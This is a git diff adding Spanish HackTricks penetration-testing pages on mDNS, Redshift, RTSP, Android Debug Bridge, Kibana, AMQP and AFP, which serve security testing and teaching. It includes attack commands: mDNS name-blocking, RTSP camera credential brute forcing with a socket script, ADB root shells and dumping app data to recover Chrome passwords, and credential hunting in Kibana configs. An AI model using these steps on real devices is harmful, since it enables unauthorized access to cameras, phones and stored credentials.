Se puede aprender mucho sobre la red local simplemente enviando solicitudes mDNS y capturando tráfico multicast mDNS.
|
||||
|
||||
Se puede utilizar la herramienta [**Pholus**](https://github.com/aatlasis/Pholus/) para enviar solicitudes mDNS (-rq) en la red local y capturar tráfico multicast mDNS (durante -stimeout 10 segundos):
|
||||
```bash
|
||||
sudo python3 pholus3.py eth0 -rq -stimeout 10
|
||||
```
|
||||
## Ataques
|
||||
|
||||
### Abuso de la fase de sondeo mDNS
|
||||
|
||||
Cuando un respondedor mDNS comienza o cambia su conectividad, pregunta a la red local si hay **algún recurso con el nombre que planea usar**. Si la respuesta contiene el registro en cuestión, el host de sondeo **debe elegir un nuevo nombre**. Si se producen 15 conflictos en 10 segundos, el host debe esperar al menos cinco segundos antes de cualquier intento adicional. Además, si pasa un minuto durante el cual el host no puede encontrar un nombre sin usar, informa un error al usuario.
|
||||
|
||||
El siguiente comando de línea de comandos evitará que cualquier nuevo dispositivo obtenga un nuevo nombre, ya que indicará que **cualquier nombre ya está en uso**:
|
||||
```bash
|
||||
sudo python pholus.py eth0 -afre -stimeout 1000
|
||||
```
|
||||
### Spoofing/MitM
|
||||
|
||||
El ataque más interesante que se puede realizar sobre este servicio es realizar un **MitM** en la **comunicación entre el cliente y el servidor real**. Podría ser posible obtener archivos sensibles (MitM la comunicación con la impresora) o incluso credenciales (autenticación de Windows).\
|
||||
Para obtener más información, consulte:
|
||||
|
||||
{% content-ref url="../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %}
|
||||
[spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Referencias
|
||||
|
||||
* [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://books.google.co.uk/books/about/Practical\_IoT\_Hacking.html?id=GbYEEAAAQBAJ\&redir\_esc=y)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
33
network-services-pentesting/5439-pentesting-redshift.md
Normal file
33
network-services-pentesting/5439-pentesting-redshift.md
Normal file
|
@ -0,0 +1,33 @@
|
|||
# 5439 - Pentesting Redshift
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR a los repositorios [hacktricks](https://github.com/carlospolop/hacktricks) y [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
## Información básica
|
||||
|
||||
Este puerto es utilizado por **Redshift** para ejecutarse. Básicamente es una variación de **PostgreSQL** de AWS.
|
||||
|
||||
Para más información, consulta:
|
||||
|
||||
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR a los repositorios [hacktricks](https://github.com/carlospolop/hacktricks) y [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
89
network-services-pentesting/554-8554-pentesting-rtsp.md
Normal file
89
network-services-pentesting/554-8554-pentesting-rtsp.md
Normal file
|
@ -0,0 +1,89 @@
|
|||
## Información Básica
|
||||
|
||||
> El **Protocolo de Transmisión en Tiempo Real** (**RTSP**) es un protocolo de control de red diseñado para su uso en sistemas de entretenimiento y comunicaciones para controlar servidores de transmisión de medios. El protocolo se utiliza para establecer y controlar sesiones de medios entre puntos finales. Los clientes de los servidores de medios emiten comandos de estilo VHS, como reproducir, grabar y pausar, para facilitar el control en tiempo real de la transmisión de medios desde el servidor a un cliente (Video On Demand) o desde un cliente al servidor (grabación de voz).
|
||||
>
|
||||
> La transmisión de datos de transmisión en sí no es una tarea de RTSP. La mayoría de los servidores RTSP utilizan el Protocolo de Transporte en Tiempo Real (RTP) en conjunto con el Protocolo de Control en Tiempo Real (RTCP) para la entrega de transmisión de medios. Sin embargo, algunos proveedores implementan protocolos de transporte propietarios. El software del servidor RTSP de RealNetworks, por ejemplo, también utilizó el Propietario de Transporte de Datos en Tiempo Real (RDT) de RealNetworks.
|
||||
|
||||
De [wikipedia](https://en.wikipedia.org/wiki/Real\_Time\_Streaming\_Protocol).
|
||||
|
||||
**Puertos predeterminados:** 554,8554
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
554/tcp open rtsp
|
||||
```
|
||||
## Información detallada
|
||||
|
||||
En primer lugar, RTSP es un protocolo similar a HTTP. Tiene una estructura y comandos de control diferentes, pero su formato es textual y una vez que se aprenden los conceptos básicos de los comandos y cómo interactúan, es bastante fácil de usar. La especificación de RTSP es bastante sencilla. Aquí hay un enlace a ella:
|
||||
|
||||
[RTSP - RFC2326](https://tools.ietf.org/html/rfc2326)
|
||||
|
||||
RTSP se puede acceder sin autenticación (común en dispositivos de estantería) o autenticado. El acceso autenticado es similar a HTTP en que tiene autenticación básica y de digestión, ambas casi idénticas a HTTP. Para averiguar si su dispositivo está autenticado o no, simplemente envíe una solicitud "DESCRIBE". Una solicitud DESCRIBE simple se ve así:
|
||||
|
||||
`DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2\r\n\r`
|
||||
|
||||
Nota: se requiere el " \r\n" adicional para una respuesta confiable. Algunos sistemas aceptarán el " \r\n" único, pero la mayoría no lo hará.
|
||||
|
||||
Esto se puede enviar a través de un socket en bruto. Al igual que HTTP, una respuesta exitosa que indica acceso no autenticado estará disponible y contendrá un "200 OK". En este caso, con DESCRIBE, también contendrá todos los parámetros operativos de la transmisión de video.
|
||||
|
||||
Si el dispositivo requiere autenticación, la respuesta contendrá "401 Unauthorized". La respuesta también indicará qué mecanismos de autenticación están disponibles. Si la autenticación básica está disponible, la cadena de respuesta contendrá una línea de información que tenga "WWW-Authenticate: Basic". El resto de la información proporcionada con la autenticación básica es en gran parte irrelevante para realizar la autenticación básica.
|
||||
|
||||
Si se requiere autenticación de digestión, entonces la respuesta "401 Unauthorized" tendrá una línea de información que contenga "WWW-Authenticate: Digest". La información con la especificación de Digestión es muy importante si va a realizar la autenticación de Digestión, así que no la ignore.
|
||||
|
||||
La autenticación básica es la forma de proceder, con suerte, la respuesta recibida indica que está disponible. Si no, hay tres métodos diferentes para ensamblar un elemento de autenticación de Digestión, por lo que Digestión puede volverse problemático, especialmente a ciegas (sin autenticación). El resto de este artículo se centrará en la autenticación básica. Es posible que escriba un artículo de seguimiento más adelante una vez que descifre la salsa secreta para hacer la autenticación de Digestión a ciegas.
|
||||
|
||||
Para formular un elemento de autenticación básica, simplemente se debe codificar en base 64 \<username> ":" \<password> y agregarlo a la solicitud. Entonces, una nueva solicitud se vería así:
|
||||
|
||||
`DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2\r\nAuthorization: Basic YWRtaW46MTIzNA==\r\n\r`
|
||||
|
||||
Nuevamente, tenga en cuenta que la solicitud se termina con el doble " \r\n".
|
||||
|
||||
El valor YWRtaW46MTIzNA== es el nombre de usuario y la contraseña codificados en base 64 concatenados con ":". En este caso, he usado "admin" / "1234". Algunos scripts simples de Python para probar esto se ven así:
|
||||
```python
|
||||
import socket
|
||||
req = "DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2\r\nAuthorization: Basic YWRtaW46MTIzNA==\r\n\r\n"
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.connect(("192.168.1.1", 554))
|
||||
s.sendall(req)
|
||||
data = s.recv(1024)
|
||||
print(data)
|
||||
```
|
||||
¡Voilà! Tienes acceso.
|
||||
|
||||
**De:** [**http://badguyfu.net/rtsp-brute-forcing-for-fun-and-naked-pictures/**](https://web.archive.org/web/20161020202643/http://badguyfu.net/rtsp-brute-forcing-for-fun-and-naked-pictures/)
|
||||
|
||||
## Enumeración
|
||||
|
||||
Obtengamos información sobre los métodos y URLs válidos que son compatibles e intentemos forzar el acceso (si es necesario) para obtener acceso al contenido.
|
||||
```bash
|
||||
nmap -sV --script "rtsp-*" -p <PORT> <IP>
|
||||
```
|
||||
### [Fuerza Bruta](../generic-methodologies-and-resources/brute-force.md#rtsp)
|
||||
|
||||
### **Otros programas útiles**
|
||||
|
||||
Para hacer fuerza bruta: [https://github.com/Tek-Security-Group/rtsp\_authgrinder](https://github.com/Tek-Security-Group/rtsp\_authgrinder)
|
||||
|
||||
**Cameradar**
|
||||
|
||||
Cameradar te permite:
|
||||
|
||||
* Detectar hosts RTSP abiertos en cualquier objetivo accesible
|
||||
* Obtener su información pública (nombre de host, puerto, modelo de cámara, etc.)
|
||||
* Lanzar ataques de diccionario automatizados para obtener su ruta de transmisión (por ejemplo, /live.sdp)
|
||||
* Lanzar ataques de diccionario automatizados para obtener el nombre de usuario y la contraseña de las cámaras
|
||||
* Generar miniaturas de ellas para comprobar si las transmisiones son válidas y tener una vista previa rápida de su contenido
|
||||
* Intentar crear una tubería de Gstreamer para comprobar si están codificadas correctamente
|
||||
* Imprimir un resumen de toda la información que Cameradar pudo obtener
|
||||
* [https://github.com/Ullaakut/cameradar](https://github.com/Ullaakut/cameradar)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
71
network-services-pentesting/5555-android-debug-bridge.md
Normal file
71
network-services-pentesting/5555-android-debug-bridge.md
Normal file
|
@ -0,0 +1,71 @@
|
|||
# 5555 - Android Debug Bridge
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Mira los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Consigue la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
## Información básica
|
||||
|
||||
**Android Debug Bridge** (adb) es una herramienta versátil de línea de comandos que te permite comunicarte con un dispositivo. El comando adb facilita una variedad de acciones en el dispositivo, como **instalar y depurar aplicaciones**, y proporciona **acceso a una shell Unix** que puedes usar para ejecutar una variedad de comandos en un dispositivo. (de [aquí](https://developer.android.com/studio/command-line/adb))
|
||||
|
||||
**Puerto predeterminado**: 5555.
|
||||
```
|
||||
PORT STATE SERVICE VERSION
|
||||
5555/tcp open adb Android Debug Bridge device (name: msm8909; model: N3; device: msm8909)
|
||||
```
|
||||
## Conexión
|
||||
|
||||
Si encuentras el servicio ADB ejecutándose en un puerto de un dispositivo y puedes conectarte a él, **puedes obtener una shell dentro del sistema:**
|
||||
```bash
|
||||
adb connect 10.10.10.10
|
||||
adb root # Try to escalate to root
|
||||
adb shell
|
||||
```
|
||||
Para más comandos de ADB, consulta la siguiente página:
|
||||
|
||||
{% content-ref url="../mobile-pentesting/android-app-pentesting/adb-commands.md" %}
|
||||
[adb-commands.md](../mobile-pentesting/android-app-pentesting/adb-commands.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Volcar datos de la aplicación
|
||||
|
||||
Para descargar completamente los datos de una aplicación, puedes:
|
||||
```bash
|
||||
# From a root console
|
||||
chmod 777 /data/data/com.package
|
||||
cp -r /data/data/com.package /sdcard Note: Using ADB attacker cannot obtain data directly by using command " adb pull /data/data/com.package". He is compulsorily required to move data to Internal storage and then he can pull that data.
|
||||
adb pull "/sdcard/com.package"
|
||||
```
|
||||
Puedes usar este truco para **recuperar información sensible como contraseñas de Chrome**. Para obtener más información sobre esto, consulta la información y referencias proporcionadas [**aquí**](https://github.com/carlospolop/hacktricks/issues/274).
|
||||
|
||||
## Shodan
|
||||
|
||||
* `android debug bridge`
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
25
network-services-pentesting/5601-pentesting-kibana.md
Normal file
25
network-services-pentesting/5601-pentesting-kibana.md
Normal file
|
@ -0,0 +1,25 @@
|
|||
# Información Básica
|
||||
|
||||
Kibana proporciona capacidades de búsqueda y visualización de datos para los datos indexados en Elasticsearch. El servicio se ejecuta por defecto en el puerto **5601**. Kibana también actúa como la interfaz de usuario para monitorear, administrar y asegurar un clúster Elastic Stack.
|
||||
|
||||
## ¿Autenticación?
|
||||
|
||||
La autenticación en Kibana está vinculada a las **credenciales de** [**Elasticsearch**](9200-pentesting-elasticsearch.md). Si la **autenticación** está **deshabilitada** en **Elasticsearch**, **Kibana** también debería ser **accesible sin credenciales**. De lo contrario, las **mismas credenciales válidas para Elasticsearch** deberían funcionar al iniciar sesión en Kibana. Los **derechos** de los **usuarios** en **Elasticsearch** son los **mismos** que en **Kibana**.
|
||||
|
||||
Es posible encontrar credenciales en el archivo de configuración **/etc/kibana/kibana.yml**. Si esas credenciales no son para el usuario **kibana\_system**, se debe intentar usarlas para acceder a más datos. Podrían tener más derechos que el usuario **kibana\_system**, que solo tiene acceso a la API de monitoreo y al índice **.kibana**.
|
||||
|
||||
## ¿Teniendo Acceso?
|
||||
|
||||
Cuando se tiene acceso a Kibana, se pueden hacer varias cosas:
|
||||
|
||||
* Intentar **acceder a datos** de **Elasticsearch**
|
||||
* Verificar si se puede acceder al panel de usuarios y si se puede **editar, eliminar o crear nuevos usuarios,** roles o claves API (Gestión de pila -> Usuarios/Roles/Claves API)
|
||||
* Verificar la versión actual en busca de vulnerabilidades (**Hubo una vulnerabilidad de RCE en 2019 para las versiones de Kibana < 6.6.0** \[[2](https://insinuator.net/2021/01/pentesting-the-elk-stack/#ref2)])
|
||||
|
||||
## ¿SSL/TLS Habilitado?
|
||||
|
||||
Si SSL/TLS no está habilitado, se debe evaluar si se puede filtrar información sensible.
|
||||
|
||||
## Referencias
|
||||
|
||||
* [https://insinuator.net/2021/01/pentesting-the-elk-stack/](https://insinuator.net/2021/01/pentesting-the-elk-stack/)
|
60
network-services-pentesting/5671-5672-pentesting-amqp.md
Normal file
60
network-services-pentesting/5671-5672-pentesting-amqp.md
Normal file
|
@ -0,0 +1,60 @@
|
|||
# Información Básica
|
||||
|
||||
**RabbitMQ** es un software de **cola de mensajes** también conocido como _broker de mensajes_ o _gestor de colas_. En pocas palabras, es un software donde se definen colas a las que las aplicaciones se conectan para transferir un mensaje o mensajes.\
|
||||
Un **mensaje puede incluir cualquier tipo de información**. Por ejemplo, podría tener información sobre un proceso o tarea que debe iniciarse en otra aplicación (que incluso podría estar en otro servidor), o podría ser solo un mensaje de texto simple. El software del gestor de colas almacena los mensajes hasta que una aplicación receptora se conecta y toma un mensaje de la cola. La aplicación receptora procesa entonces el mensaje.\
|
||||
Definición obtenida [aquí](https://www.cloudamqp.com/blog/2015-05-18-part1-rabbitmq-for-beginners-what-is-rabbitmq.html).
|
||||
|
||||
**Puerto predeterminado**: 5672,5671
|
||||
```
|
||||
PORT STATE SERVICE VERSION
|
||||
5672/tcp open amqp RabbitMQ 3.1.5 (0-9)
|
||||
```
|
||||
# Enumeración
|
||||
|
||||
## Manual
|
||||
```python
|
||||
import amqp
|
||||
#By default it uses default credentials "guest":"guest"
|
||||
conn = amqp.connection.Connection(host="<IP>", port=5672, virtual_host="/")
|
||||
conn.connect()
|
||||
for k, v in conn.server_properties.items():
|
||||
print(k, v)
|
||||
```
|
||||
## Automático
|
||||
```bash
|
||||
nmap -sV -Pn -n -T4 -p 5672 --script amqp-info <IP>
|
||||
|
||||
PORT STATE SERVICE VERSION
|
||||
5672/tcp open amqp RabbitMQ 3.1.5 (0-9)
|
||||
| amqp-info:
|
||||
| capabilities:
|
||||
| publisher_confirms: YES
|
||||
| exchange_exchange_bindings: YES
|
||||
| basic.nack: YES
|
||||
| consumer_cancel_notify: YES
|
||||
| copyright: Copyright (C) 2007-2013 GoPivotal, Inc.
|
||||
| information: Licensed under the MPL. See http://www.rabbitmq.com/
|
||||
| platform: Erlang/OTP
|
||||
| product: RabbitMQ
|
||||
| version: 3.1.5
|
||||
| mechanisms: PLAIN AMQPLAIN
|
||||
|_ locales: en_US
|
||||
```
|
||||
# Otros puertos de RabbitMQ
|
||||
|
||||
Desde [https://www.rabbitmq.com/networking.html](https://www.rabbitmq.com/networking.html) se puede encontrar que **rabbitmq utiliza varios puertos**:
|
||||
|
||||
* **1883, 8883**: ([clientes MQTT](http://mqtt.org) sin y con TLS, si el [plugin MQTT](https://www.rabbitmq.com/mqtt.html) está habilitado. [**Aprende más sobre cómo hacer pentesting a MQTT aquí**](1883-pentesting-mqtt-mosquitto.md).
|
||||
* **4369: epmd**, un servicio de descubrimiento de pares utilizado por nodos RabbitMQ y herramientas CLI. [**Aprende más sobre cómo hacer pentesting a este servicio aquí**](4369-pentesting-erlang-port-mapper-daemon-epmd.md).
|
||||
* **5672, 5671**: utilizado por clientes AMQP 0-9-1 y 1.0 sin y con TLS
|
||||
* **15672**: clientes de [API HTTP](https://www.rabbitmq.com/management.html), [UI de gestión](https://www.rabbitmq.com/management.html) y [rabbitmqadmin](https://www.rabbitmq.com/management-cli.html) (sólo si el [plugin de gestión](https://www.rabbitmq.com/management.html) está habilitado). [**Aprende más sobre cómo hacer pentesting a este servicio aquí**](15672-pentesting-rabbitmq-management.md).
|
||||
* 15674: clientes STOMP-over-WebSockets (sólo si el [plugin Web STOMP](https://www.rabbitmq.com/web-stomp.html) está habilitado)
|
||||
* 15675: clientes MQTT-over-WebSockets (sólo si el [plugin Web MQTT](https://www.rabbitmq.com/web-mqtt.html) está habilitado)
|
||||
* 15692: métricas de Prometheus (sólo si el [plugin Prometheus](https://www.rabbitmq.com/prometheus.html) está habilitado)
|
||||
* 25672: utilizado para la comunicación entre nodos y herramientas CLI (puerto del servidor de distribución de Erlang) y se asigna desde un rango dinámico (limitado a un solo puerto por defecto, calculado como el puerto AMQP + 20000). A menos que las conexiones externas en estos puertos sean realmente necesarias (por ejemplo, el clúster utiliza [federación](https://www.rabbitmq.com/federation.html) o se utilizan herramientas CLI en máquinas fuera de la subred), estos puertos no deben ser expuestos públicamente. Consulta la [guía de redes](https://www.rabbitmq.com/networking.html) para más detalles. **Sólo 9 de estos puertos están abiertos en internet**.
|
||||
* 35672-35682: utilizados por herramientas CLI (puertos de cliente de distribución de Erlang) para la comunicación con nodos y se asignan desde un rango dinámico (calculado como el puerto de distribución del servidor + 10000 a través del puerto de distribución del servidor + 10010). Consulta la [guía de redes](https://www.rabbitmq.com/networking.html) para más detalles.
|
||||
* 61613, 61614: [clientes STOMP](https://stomp.github.io/stomp-specification-1.2.html) sin y con TLS (sólo si el [plugin STOMP](https://www.rabbitmq.com/stomp.html) está habilitado). Menos de 10 dispositivos con este puerto abierto y principalmente UDP para nodos DHT.
|
||||
|
||||
# Shodan
|
||||
|
||||
* `AMQP`
|
38
network-services-pentesting/584-pentesting-afp.md
Normal file
38
network-services-pentesting/584-pentesting-afp.md
Normal file
|
@ -0,0 +1,38 @@
|
|||
## Información Básica
|
||||
|
||||
El **Protocolo de Archivos de Apple** (**AFP**), anteriormente conocido como Protocolo de Archivos de AppleTalk, es un protocolo de red propietario y parte del **Servicio de Archivos de Apple** (**AFS**), que ofrece servicios de archivos para macOS y el sistema operativo clásico de Mac. En macOS, AFP es uno de los varios servicios de archivos compatibles. AFP actualmente admite nombres de archivo Unicode, permisos POSIX y de lista de control de acceso, bifurcaciones de recursos, atributos extendidos con nombre y bloqueo avanzado de archivos. En Mac OS 9 y versiones anteriores, AFP era el protocolo principal para los servicios de archivos.
|
||||
|
||||
**Puerto predeterminado:** 548
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
548/tcp open afp
|
||||
```
|
||||
## Enumeración
|
||||
```bash
|
||||
msf> use auxiliary/scanner/afp/afp_server_info
|
||||
nmap -sV --script "afp-* and not dos and not brute" -p <PORT> <IP>
|
||||
```
|
||||
| **Nombre** | **Descripción** |
|
||||
| -------------- | ------------------------------------------------------------------------------------------------------------------------------------------ |
|
||||
| afp-ls | Lista los volúmenes y archivos AFP disponibles. |
|
||||
| afp-path-vuln | Lista todos los volúmenes y archivos AFP[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch15.html#ch15fn48). |
|
||||
| afp-serverinfo | Muestra información del servidor AFP. |
|
||||
| afp-showmount | Lista los recursos compartidos AFP disponibles y sus respectivos ACLs. |
|
||||
|
||||
### [**Fuerza Bruta**](../generic-methodologies-and-resources/brute-force.md#afp)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
